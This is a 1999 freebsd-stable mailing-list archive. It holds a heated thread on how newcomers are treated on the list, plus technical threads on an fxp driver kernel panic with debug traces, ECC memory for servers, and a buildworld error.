4)Conclusion > > a) As pathetic , simpleminded, and silly as all this sounds. I was raised > with repsect. ( Are your diapers on or off ). > b) Do we really need to carry on about some inconsistencies and > idiosyncratic behavior. ( consume bandwidth.) > c) Are we going to feed into the commercialised Linux movement. And pretend > that these bastards are going to get away with it. ( oops , anger > misplaced.) > d)Cant we all just get ( way to old to even say ) > e) treat people the same way you would want to be treated. ( I love you > Grandma. ) > > people seriously. > make a valid attempt to stop being so ridiculous. ( to all that apply, and > the ones in denial ). > > (Newbie, Ver 0.1.1-current) > > > > > > > > > ----- Original Message ----- > From: Michael Lucas > To: > Cc: > Sent: Thursday, October 07, 1999 2:20 PM > Subject: Re: Roasting Newbies > > > > IMHO, tensions on the FreeBSD lists are running at their greatest > > level since... oh, I'd say mid-96, when I first subscribed to > > -questions. > > > > If a "FreeBSD newbies info page" will help, then I'm all for it. I > > don't see what sort of "ramifications" it could have, other than to > > (perhaps) reduce some of the stress all around. > > > > Everybody needs to take a chill pill. Perhaps this will help. If so, > > everybody wins. If not, the next person with a bright idea can try. > > > > As far as products like VMware go: the big market for FreeBSD is on > > the server end. That's where we've been for years. There's really > > very little desktop BSD, where VMWare's marketed. Why should a > > desktop software manufacturer port to a server OS? Besides, as you > > say, we're fairly close to being able to run VMWare for Linux > > ourselves. > > > > ==ml > > > > > Mr. Lucas, > > > > > > I think that you should concider the ramifications of posting that > > > particular how to doc on the web. > > > > > > After all why should the FreeBSD community be bothered by people > > > who are not intelligent enough to make sure that they are posting to > > > the right thread? > > > > > > Do we really care that companies like VMWare have no intention of > > > porting their commercial software to FreeBSD? After all it is fairly > > > easy to add that linux kernel to the BTX loader. > > > > > > I had the audacity to reply to a recent posting on stable in which I > > > stated that the disks which were shipped to me from Walnut Creek > > > were not bootable and that this might be related to the problems with > > > the iso image. Of course I was promptly flamed. One reader even > > > accused me of trying to install the alpha port on my i386 box. > > > > > > I do appreciate your noble efforts to help the people who, like myself > > > are not FreeBSD Guru's and could possibly get frustrated by the OS > > > by pointing them in the right direction instead of flaming them with > > > the famous but obscure "that is for questions" > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 16:57:18 1999 Delivered-To: freebsd-stable@freebsd.org Received: from bomber.avantgo.com (ws1.avantgo.com [207.214.200.194]) by hub.freebsd.org (Postfix) with ESMTP id AC4E514E03; Thu, 7 Oct 1999 16:57:12 -0700 (PDT) (envelope-from sa-list@avantgo.com) Received: from avantgo.com ([10.0.128.109]) by bomber.avantgo.com (Netscape Messaging Server 3.5) with ESMTP id 325; Thu, 7 Oct 1999 16:51:52 -0700 Message-ID: <37FD3391.1F84611A@avantgo.com> Date: Thu, 07 Oct 1999 16:58:09 -0700 From: Stevan Arychuk Reply-To: sa-list@avantgo.com Organization: AvantGo Inc. X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: FreeBSD-hackers@freebsd.org Cc: FreeBSD-stable@freebsd.org Subject: SMP + fxp0 wierdness Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greetings, We're running 3.3-REL on dual processor PII-450's, with a N440BX motherboard, using the onboard EtherExpress Pro (fxp) NIC and 512MB RAM. These machines are running custom software that excercises the disk, CPU and network quite heavily. The SMP machines seem to have both "fxp0: device timeout" problems, and spontaneous reboots. We were uable to get a working savecore until now, and have traced the reboots back to the fxp driver as well. Here are the debug outputs, and any custom changes to our kernel config. Could this be a problem with SMP + fxp combination? Any other thoughts or ideas? We've serached, and read, and searched all the FAQ's for both of these problems, and have pretty well come up empty. Suggestions for the next course of action? Thanks in advance for anyones help. Regards, Stevan Arychuk AvantGo Inc. stevan@avantgo.com --- gdb output --- IdlePTD 2641920 initial pcb at 21d290 panicstr: page fault panic messages: --- Fatal trap 12: page fault while in kernel mode mp_lock = 00000002; cpuid = 0; lapic.id = 01000000 fault virtual address = 0x293a84d4 fault code = supervisor write, page not present instruction pointer = 0x8:0xc018979e stack pointer = 0x10:0xff804f78 frame pointer = 0x10:0xff804f88 code segment = base 0x0, limit 0xfffff, type 0x1b = DPL 0, pres 1, def32 1, gran 1 processor eflags = interrupt enabled, resume, IOPL = 0 current process = Idle interrupt mask = net <- SMP: XXX trap number = 12 panic: page fault mp_lock = 00000002; cpuid = 0; lapic.id = 01000000 boot() called on cpu#0 syncing disks... 200 190 169 149 106 37 1 1 1 1 1 1 1 1 1 1 1 1 1 1 giving up dumping to dev 20401, offset 524288 dump 256 255 254 253 ... ...1 #0 0xc013d473 in boot () (kgdb) bt #0 0xc013d473 in boot () #1 0xc013d741 in panic () #2 0xc01ce080 in trap_fatal () #3 0xc01cdcfb in trap_pfault () #4 0xc01cd95a in trap () #5 0xc018979e in fxp_add_rfabuf () #6 0xc0188af5 in fxp_intr () --- Instruction pointer trace --- freebsd# nm /kernel |grep c01897 c01897e0 t fxp_mdi_read --- Kernel Config --- Everything is generic except for: maxusers 512 options NMBCLUSTERS=33280 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 17:18:53 1999 Delivered-To: freebsd-stable@freebsd.org Received: from wank.necropolis.org (wank.westin16.flyingcroc.net [207.246.128.93]) by hub.freebsd.org (Postfix) with ESMTP id C45E214BB7; Thu, 7 Oct 1999 17:18:44 -0700 (PDT) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by wank.necropolis.org (8.9.3/8.9.3) with ESMTP id RAA95413; Thu, 7 Oct 1999 17:24:14 -0700 (PDT) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: wank.necropolis.org: todd owned process doing -bs Date: Thu, 7 Oct 1999 17:24:14 -0700 (PDT) From: Todd Backman X-Sender: todd@wank.necropolis.org To: Stevan Arychuk Cc: FreeBSD-hackers@FreeBSD.ORG, FreeBSD-stable@FreeBSD.ORG Subject: Re: SMP + fxp0 wierdness In-Reply-To: <37FD3391.1F84611A@avantgo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG We run about 50 machines with a similar setup (asus p2bd mb) all of which run quite well. We have NMBCLUSERS=30720 though... - Todd On Thu, 7 Oct 1999, Stevan Arychuk wrote: > Greetings, > > We're running 3.3-REL on dual processor PII-450's, with a N440BX > motherboard, using the onboard EtherExpress Pro (fxp) NIC and 512MB RAM. > > These machines are running custom software that excercises the disk, CPU > and network quite heavily. The SMP machines seem to have both "fxp0: > device timeout" problems, and spontaneous reboots. We were uable to get > a working savecore until now, and have traced the reboots back to the > fxp driver as well. Here are the debug outputs, and any custom changes > to our kernel config. > > Could this be a problem with SMP + fxp combination? Any other thoughts > or ideas? > > We've serached, and read, and searched all the FAQ's for both of these > problems, and have pretty well come up empty. Suggestions for the next > course of action? > > Thanks in advance for anyones help. > > Regards, > > Stevan Arychuk > AvantGo Inc. > stevan@avantgo.com > > > --- gdb output --- > > IdlePTD 2641920 > initial pcb at 21d290 > panicstr: page fault > panic messages: > --- > Fatal trap 12: page fault while in kernel mode > mp_lock = 00000002; cpuid = 0; lapic.id = 01000000 > fault virtual address = 0x293a84d4 > fault code = supervisor write, page not present > instruction pointer = 0x8:0xc018979e > stack pointer = 0x10:0xff804f78 > frame pointer = 0x10:0xff804f88 > code segment = base 0x0, limit 0xfffff, type 0x1b > = DPL 0, pres 1, def32 1, gran 1 > processor eflags = interrupt enabled, resume, IOPL = 0 > current process = Idle > interrupt mask = net <- SMP: XXX > trap number = 12 > panic: page fault > mp_lock = 00000002; cpuid = 0; lapic.id = 01000000 > boot() called on cpu#0 > > syncing disks... 200 190 169 149 106 37 1 1 1 1 1 1 1 1 1 1 1 1 1 1 > giving up > > dumping to dev 20401, offset 524288 > dump 256 255 254 253 ... ...1 > > #0 0xc013d473 in boot () > (kgdb) bt > #0 0xc013d473 in boot () > #1 0xc013d741 in panic () > #2 0xc01ce080 in trap_fatal () > #3 0xc01cdcfb in trap_pfault () > #4 0xc01cd95a in trap () > #5 0xc018979e in fxp_add_rfabuf () > #6 0xc0188af5 in fxp_intr () > > --- Instruction pointer trace --- > > freebsd# nm /kernel |grep c01897 > c01897e0 t fxp_mdi_read > > --- Kernel Config --- > > Everything is generic except for: > > maxusers 512 > options NMBCLUSTERS=33280 > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 17:24:50 1999 Delivered-To: freebsd-stable@freebsd.org Received: from dingo.cdrom.com (dingo.cdrom.com [204.216.28.145]) by hub.freebsd.org (Postfix) with ESMTP id D2C9E14BB7; Thu, 7 Oct 1999 17:24:46 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Received: from dingo.cdrom.com (localhost.cdrom.com [127.0.0.1]) by dingo.cdrom.com (8.9.3/8.8.8) with ESMTP id RAA02524; Thu, 7 Oct 1999 17:16:53 -0700 (PDT) (envelope-from mike@dingo.cdrom.com) Message-Id: <199910080016.RAA02524@dingo.cdrom.com> X-Mailer: exmh version 2.0.2 2/24/98 To: sa-list@avantgo.com Cc: FreeBSD-hackers@freebsd.org, FreeBSD-stable@freebsd.org Subject: Re: SMP + fxp0 wierdness In-reply-to: Your message of "Thu, 07 Oct 1999 16:58:09 PDT." <37FD3391.1F84611A@avantgo.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 07 Oct 1999 17:16:53 -0700 From: Mike Smith Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Greetings, > > We're running 3.3-REL on dual processor PII-450's, with a N440BX > motherboard, using the onboard EtherExpress Pro (fxp) NIC and 512MB RAM. > > These machines are running custom software that excercises the disk, CPU > and network quite heavily. The SMP machines seem to have both "fxp0: > device timeout" problems, and spontaneous reboots. We were uable to get > a working savecore until now, and have traced the reboots back to the > fxp driver as well. Here are the debug outputs, and any custom changes > to our kernel config. > > Could this be a problem with SMP + fxp combination? Any other thoughts > or ideas? This is a known problem, insofar as it's been seen on a wide range of systems. It's not SMP specific, but it does appear to be very sensitive to your hardware configuration (eg. we were seeing it repeatedly in combination with an ncr SCSI card, and when we switched to an Adaptec it went away). Others have reported it in conjunction with Adaptec cards however, as well as in IDE-only systems. We haven't been successful in stirring David Greenman's interest in this so far, which is really crucial since the only common factor in these problems so far has been the fxp card/driver combination. > #4 0xc01cd95a in trap () > #5 0xc018979e in fxp_add_rfabuf () For anyone else wondering whether they're seeing this problem, the above two lines are the signature; there is a point inside fxp_add_rfabuf where the variables on the stack seem right, but the register shadows of the variables are corrupt, causing the trap. I spent several days looking at this and came away with a sore head. -- \\ Give a man a fish, and you feed him for a day. \\ Mike Smith \\ Tell him he should learn how to fish himself, \\ msmith@freebsd.org \\ and he'll hate you for a lifetime. \\ msmith@cdrom.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 18:35:25 1999 Delivered-To: freebsd-stable@freebsd.org Received: from notrecords.com (228-121.ppp.ripco.net [209.100.228.121]) by hub.freebsd.org (Postfix) with ESMTP id 781091522E for ; Thu, 7 Oct 1999 18:35:05 -0700 (PDT) (envelope-from aphor@ripco.com) Received: from ripco.com (localhost [127.0.0.1]) by notrecords.com (8.9.3/8.9.3) with ESMTP id UAA01241 for ; Thu, 7 Oct 1999 20:35:09 GMT (envelope-from aphor@ripco.com) Message-ID: <37FD03FD.B719EC7C@ripco.com> Date: Thu, 07 Oct 1999 20:35:09 +0000 From: Jeremy McMillan Reply-To: aphor@ripco.com Organization: Loose.. X-Mailer: Mozilla 4.6 [en] (X11; I; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@freebsd.org Subject: Re: Roasting Newbies References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Pardon me if I make a suggestion, but we need to distinguish between newbies and lamers. We are users who are part of a development community. We advocate FreeBSD to people who live in caves and eat bugs. Then we get all freaked out when the cave-dwellers don't understand the system. A newbie may deserve help on freebsd-stable: maybe being someone having trouble with following, building, or running a STABLE machine. A lamer is someone who cannot (because they will not) help themseves and will try to get you to do their work for them for free, so that they can do the same thing to someone else, after they screw up what you walked them through. grok my ascii Venn diagram (down with proportional font email!) /---------------------\ | Newbies | | /-----------------+---\ | | Newbie Lamers | | \---+-----------------/ | | Lamers | \---------------------/ The more newbies we help to avoid lamerdom, the bigger and better the FreeBSD following/community. The more lamers we waste our time (or grief) on, the less newbies we can help to avoid lamerdom. The more flames we direct at lamers, the more time and grief we waste on lamers. The solution is to have a document on the web which euphemistically explains how to help yourself do FreeBSD without calling anyone a lamer. It should tell newbies why it is rude to ask people on freebsd-stable how to configure ppp. -- PLEASE NOTICE: THERE MAY BE NOSPAM IN THE HEADERS WHEN YOU HIT "REPLY"!!! Jeremy McMillan | Ask for PGP-2.6.2 or 5.0i Chicago FreeBSD Users Group http://pages.ripco.com/~aphor/ChiFUG.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 18:46:37 1999 Delivered-To: freebsd-stable@freebsd.org Received: from smtp6.jps.net (smtp6.jps.net [209.63.224.103]) by hub.freebsd.org (Postfix) with ESMTP id E7D71153A0 for ; Thu, 7 Oct 1999 18:46:29 -0700 (PDT) (envelope-from onemo@jps.net) Received: from jps.net (216-224-148-110.stk.jps.net [216.224.148.110]) by smtp6.jps.net (8.9.3/8.9.0) with ESMTP id RAA19457; Thu, 7 Oct 1999 17:21:22 -0700 (PDT) Message-ID: <37FD37E4.B1A12A44@jps.net> Date: Thu, 07 Oct 1999 17:16:37 -0700 From: Michael Oski X-Mailer: Mozilla 4.61 [en] (X11; I; FreeBSD 3.3-STABLE i386) X-Accept-Language: en MIME-Version: 1.0 To: Mike Steinfeld Cc: stable Subject: Re: Fw: Roasting Newbies References: <002901bf1133$731937a0$3b51163f@freebsdbox.com.sprawlnet.co> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Umm, sorry to say this folks, but this has nothing to do with -stable, so... please carry this on elsewhere. Mike Steinfeld wrote: > ----- Original Message ----- > From: Mike Steinfeld > To: Michael Lucas > Cc: stable > Sent: Thursday, October 07, 1999 7:16 PM > Subject: Re: Roasting Newbies > > > > > Well i just have to let it out. > > > > I was asking someone recently , " Is it just me, or Does there appear to > be > > alot if idiots ( Lack Of A More Creative Word ) attempting to run FreeBSD > > Lately "? > > > > I remember when i first installed Linux. I thought i was the Baddest mofo > in > > town. I mean What kind of crap is that ? After running Linux for awhile, i > > got a job as a Sys Admin. I always heard so much about FreeBSD, I figured > > this was my chance to see for myself. > > > > I guess for me Linux is like the script kiddies play toy and FreeBSD is > > for System adminstrators who are payed for performance and have found > > FreeBSD to be the best solution by afar. This is my case. > > > > Check the Vibe: > > 1) feeling out the newbies. > > a) Check to make sure the Newbie does not wanna be the > > elitest SK (Script Kiddie) in town. > > b) If there seems like hope that the little SK wants to > > actually learn something. (Be weary). > > c) If your on IRC /whois the SK and see if he is in #warez > or > > #linux or the like. > > d) If you followed a,b,c and everything seems O.K. it > > probably is not. But, help SK anyway. > > e) If the question pertains to PPP, Linux vs. FreeBSD or > > nmap. Run VERY FAST erm. wait. > > f) As a result of " e) " Do as you wish , Im sure no one > will > > care! > > > > 2) Handling the Newbie > > a) Let go of your Linux SK grudge. > > b) seriously folks let your altruistic ways prosper and > maybe > > cut him some slack.(whoah !) > > c) If the newbie is in fact a "SK" and you know this. Point > > his ass to back that thing up! > > d) Take life a little less serious. If he/she is an ass. > > Ignore the thread. Well, at least attempt to. > > e) Play with the newbie intellectually like he was a ping > > pong ball in a tournament. > > f) Take a deep breath and hope for the best. ( If that > works > > let me know. ) > > > > 3) Killing/Flaming the newbie. > > a) Make sure this is all that is left to do. ( Choose > wisely > > Danielson. ) > > b) Get everyone to turn against this prankster, including > > the bearded guy at the Bus stop. > > c) Join a cult where computer users have grey suits and > > sniff things to get by the day. > > d) Just tell his mom. ( We all hate that ) > > > > 4)Conclusion > > > > a) As pathetic , simpleminded, and silly as all this sounds. I was raised > > with repsect. ( Are your diapers on or off ). > > b) Do we really need to carry on about some inconsistencies and > > idiosyncratic behavior. ( consume bandwidth.) > > c) Are we going to feed into the commercialised Linux movement. And > pretend > > that these bastards are going to get away with it. ( oops , anger > > misplaced.) > > d)Cant we all just get ( way to old to even say ) > > e) treat people the same way you would want to be treated. ( I love you > > Grandma. ) > > > > people seriously. > > make a valid attempt to stop being so ridiculous. ( to all that apply, and > > the ones in denial ). > > > > (Newbie, Ver 0.1.1-current) > > > > > > > > > > > > > > > > > > ----- Original Message ----- > > From: Michael Lucas > > To: > > Cc: > > Sent: Thursday, October 07, 1999 2:20 PM > > Subject: Re: Roasting Newbies > > > > > > > IMHO, tensions on the FreeBSD lists are running at their greatest > > > level since... oh, I'd say mid-96, when I first subscribed to > > > -questions. > > > > > > If a "FreeBSD newbies info page" will help, then I'm all for it. I > > > don't see what sort of "ramifications" it could have, other than to > > > (perhaps) reduce some of the stress all around. > > > > > > Everybody needs to take a chill pill. Perhaps this will help. If so, > > > everybody wins. If not, the next person with a bright idea can try. > > > > > > As far as products like VMware go: the big market for FreeBSD is on > > > the server end. That's where we've been for years. There's really > > > very little desktop BSD, where VMWare's marketed. Why should a > > > desktop software manufacturer port to a server OS? Besides, as you > > > say, we're fairly close to being able to run VMWare for Linux > > > ourselves. > > > > > > ==ml > > > > > > > Mr. Lucas, > > > > > > > > I think that you should concider the ramifications of posting that > > > > particular how to doc on the web. > > > > > > > > After all why should the FreeBSD community be bothered by people > > > > who are not intelligent enough to make sure that they are posting to > > > > the right thread? > > > > > > > > Do we really care that companies like VMWare have no intention of > > > > porting their commercial software to FreeBSD? After all it is fairly > > > > easy to add that linux kernel to the BTX loader. > > > > > > > > I had the audacity to reply to a recent posting on stable in which I > > > > stated that the disks which were shipped to me from Walnut Creek > > > > were not bootable and that this might be related to the problems with > > > > the iso image. Of course I was promptly flamed. One reader even > > > > accused me of trying to install the alpha port on my i386 box. > > > > > > > > I do appreciate your noble efforts to help the people who, like myself > > > > are not FreeBSD Guru's and could possibly get frustrated by the OS > > > > by pointing them in the right direction instead of flaming them with > > > > the famous but obscure "that is for questions" > > > > > > > > > > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-stable" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 21:50: 0 1999 Delivered-To: freebsd-stable@freebsd.org Received: from vital.bleeding.com (vital.bleeding.com [206.251.12.170]) by hub.freebsd.org (Postfix) with ESMTP id 0C26514BDE for ; Thu, 7 Oct 1999 21:49:57 -0700 (PDT) (envelope-from jjwolf@bleeding.com) Received: from crimson (crimson [144.254.195.6]) by vital.bleeding.com (8.9.2/8.9.2) with SMTP id VAA41026 for ; Thu, 7 Oct 1999 21:48:23 -0700 (PDT) (envelope-from jjwolf@bleeding.com) From: "Justin Wolf" To: Subject: RE: Roasting Newbies Date: Thu, 7 Oct 1999 21:42:51 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-reply-to: <37FD03FD.B719EC7C@ripco.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Importance: Normal Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At the risk of being a lamer and posting to a dead thread... Newbie Lamers are what keep software alive. Without them, you're just a really cool piece of geekware. With them, you're a movement. It's called marketing. Live with it. -Justin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 21:56:11 1999 Delivered-To: freebsd-stable@freebsd.org Received: from implode.root.com (root.com [209.102.106.178]) by hub.freebsd.org (Postfix) with ESMTP id 416E314BDE; Thu, 7 Oct 1999 21:56:03 -0700 (PDT) (envelope-from dg@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.8/8.8.5) with ESMTP id VAA06681; Thu, 7 Oct 1999 21:54:57 -0700 (PDT) Message-Id: <199910080454.VAA06681@implode.root.com> To: sa-list@avantgo.com Cc: FreeBSD-hackers@FreeBSD.ORG, FreeBSD-stable@FreeBSD.ORG Subject: Re: SMP + fxp0 wierdness In-reply-to: Your message of "Thu, 07 Oct 1999 16:58:09 PDT." <37FD3391.1F84611A@avantgo.com> From: David Greenman Reply-To: dg@root.com Date: Thu, 07 Oct 1999 21:54:57 -0700 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >We're running 3.3-REL on dual processor PII-450's, with a N440BX >motherboard, using the onboard EtherExpress Pro (fxp) NIC and 512MB RAM. > >These machines are running custom software that excercises the disk, CPU >and network quite heavily. The SMP machines seem to have both "fxp0: >device timeout" problems, and spontaneous reboots. We were uable to get >a working savecore until now, and have traced the reboots back to the >fxp driver as well. Here are the debug outputs, and any custom changes >to our kernel config. > >Could this be a problem with SMP + fxp combination? Any other thoughts >or ideas? > >We've serached, and read, and searched all the FAQ's for both of these >problems, and have pretty well come up empty. Suggestions for the next >course of action? > >Thanks in advance for anyones help. There is some kind of hardware problem with the Intel N440BX motherboard that is causing memory corruption during the DMA. This is the third nearly identical report I've gotten about it. It does not appear to be a FreeBSD bug and so far only occurs when using the N440BX. You might try messing with the BIOS options and see if changing any of the DMA related settings will make the problem go away...I'd be very interested in the results. -DG David Greenman Co-founder/Principal Architect, The FreeBSD Project - http://www.freebsd.org Creator of high-performance Internet servers - http://www.terasolutions.com Pave the road of life with opportunities. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 22:58:35 1999 Delivered-To: freebsd-stable@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id EFF53153C4; Thu, 7 Oct 1999 22:58:24 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id WAA47842; Thu, 7 Oct 1999 22:57:47 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199910080557.WAA47842@gndrsh.dnsmgr.net> Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... In-Reply-To: <199910071709.KAA95541@apollo.backplane.com> from Matthew Dillon at "Oct 7, 1999 10:09:23 am" To: dillon@apollo.backplane.com (Matthew Dillon) Date: Thu, 7 Oct 1999 22:57:47 -0700 (PDT) Cc: ady@warpnet.ro (Adrian Penisoara), freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > :Hi again, > : > : Whoops: a few hours after downgrading to 3.1-STABLE I had a double fault > :error (strange, it didn't look like a normal panic screen, just the > :message and the content of three registers, then the syncing disks > :message). It seems that I might be wrong about hardware not being the > :problem. > : > : I've changed the motherboard, CPU, memory and the video card and I'm > :waiting to see how much it's going to stay up (I have 1day 1hour uptime so > :far)... > : > : Thanks, > : Ady (@warpnet.ro) > > One thing I do on all 'server' class machines that I buy (and this is > also something that BEST instituted as policy in 1998) is to only buy > motherboards with ECC support and only buy ECC memory to go along with > that support. If you are using a non-ECC motherboard or non-ECC memory > I would heartily recommend that you adopt the same policy. Not that your > problem is necessarily memory related, but I've found that memory-related > problems account for at least 80% of the 'difficult to locate' hardware > problems that normally occur with PC technology. And to add support to this, AAI, the oldest vendor of FreeBSD specific systems, implemented a similiar policy on all system sold sometime in 1992. But at that time ECC was not avaliable so it was ``parity memory is required, and the chipset must support it''. As soon as ECC chipsets hit the market the policy was changed to refect this. We also require all memory that we purchase be backed by a no-fuss lifetime warranty, which we pass on to the end user. I strongly recommend that any one running Unix on a PC do the same, it will save you in the long run. Since implementing the policies we have seen a near 0 memory related problem after burnin with our systems. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Thu Oct 7 23:15:31 1999 Delivered-To: freebsd-stable@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id B506815442 for ; Thu, 7 Oct 1999 23:14:29 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id JAA55996; Fri, 8 Oct 1999 09:11:42 +0300 (EEST) (envelope-from ru) Date: Fri, 8 Oct 1999 09:11:42 +0300 From: Ruslan Ermilov To: Alban Hertroys Cc: freebsd-stable@FreeBSD.org Subject: Re: problem building world target Message-ID: <19991008091142.C54236@relay.ucb.crimea.ua> Mail-Followup-To: Alban Hertroys , freebsd-stable@FreeBSD.org References: <19991007195354.840911DD0@wit401310.student.utwente.nl> <199910072104.XAA35728@zibbi.mikom.csir.co.za> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <199910072104.XAA35728@zibbi.mikom.csir.co.za>; from John Hay on Thu, Oct 07, 1999 at 11:04:27PM +0200 X-Operating-System: FreeBSD 3.3-STABLE i386 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Oct 07, 1999 at 11:04:27PM +0200, John Hay wrote: > > I'm trying to upgrade from 3.2-STABLE to 3.3-STABLE. > > make upgrade runs fine, but make buildworld bails out building 'top'. > > > > I get: > > ============= > > > > cc -O -pipe -DHAVE_GETOPT -I/usr/src/usr.bin/top -I/usr/src/usr.bin/top/../../contrib/top -DORDER -D"Table_size=6:wq" -c /usr/src/usr.bin/top/../../contrib/top/username.c > > ^^^ > It looks like somebody had vi trouble. :-) > ... while locally editing /etc/make.conf :-) -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 2:12:23 1999 Delivered-To: freebsd-stable@freebsd.org Received: from salmon.maths.tcd.ie (salmon.maths.tcd.ie [134.226.81.11]) by hub.freebsd.org (Postfix) with SMTP id B88FC14F7D; Fri, 8 Oct 1999 02:12:18 -0700 (PDT) (envelope-from dwmalone@maths.tcd.ie) Received: from gosset.maths.tcd.ie by salmon.maths.tcd.ie with SMTP id ; 8 Oct 1999 10:12:17 +0100 (BST) Date: Fri, 8 Oct 1999 10:12:17 +0100 From: David Malone To: Matthew Dillon Cc: Adrian Penisoara , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches avail?] Re: MMAP() in STABLE/CURRENT ... Message-ID: <19991008101217.A24152@gosset.maths.tcd.ie> References: <199910071709.KAA95541@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0pre3i In-Reply-To: <199910071709.KAA95541@apollo.backplane.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Oct 07, 1999 at 10:09:23AM -0700, Matthew Dillon wrote: > Intel's ECC implementation is not perfect (1), but it's good enough to > catch these sorts of problems. Just as an interesting side note, we had a motherboard which supported ECC ram and had ECC ram in it and which was crashing. Eventually we discovered that every 8th byte in page aligned 4KB chunks was becomming corrupted. We replaced the ram and saw no improvement, and then got a replacement motherboard. As far as I could see the only significant difference between the new and old motherboard was the addition of a heat sink to the memory controler chip. The machine is now perfectly happy. So it seems that ECC isn't enough if your memory controler is too hot! David. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Fri Oct 8 2:35:39 1999 Delivered-To: freebsd-stable@freebsd.org Received: from implode.root.com (root.com [209.102.106.178]) by hub.freebsd.org (Postfix) with ESMTP id 2766314BD2; Fri, 8 Oct 1999 02:35:34 -0700 (PDT) (envelope-from dg@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.8/8.8.5) with ESMTP id CAA07195; Fri, 8 Oct 1999 02:34:25 -0700 (PDT) Message-Id: <199910080934.CAA07195@implode.root.com> To: David Malone Cc: Matthew Dillon , Adrian Penisoara , freebsd-current@FreeBSD.ORG, freebsd-stable@FreeBSD.ORG Subject: Re: [Patches 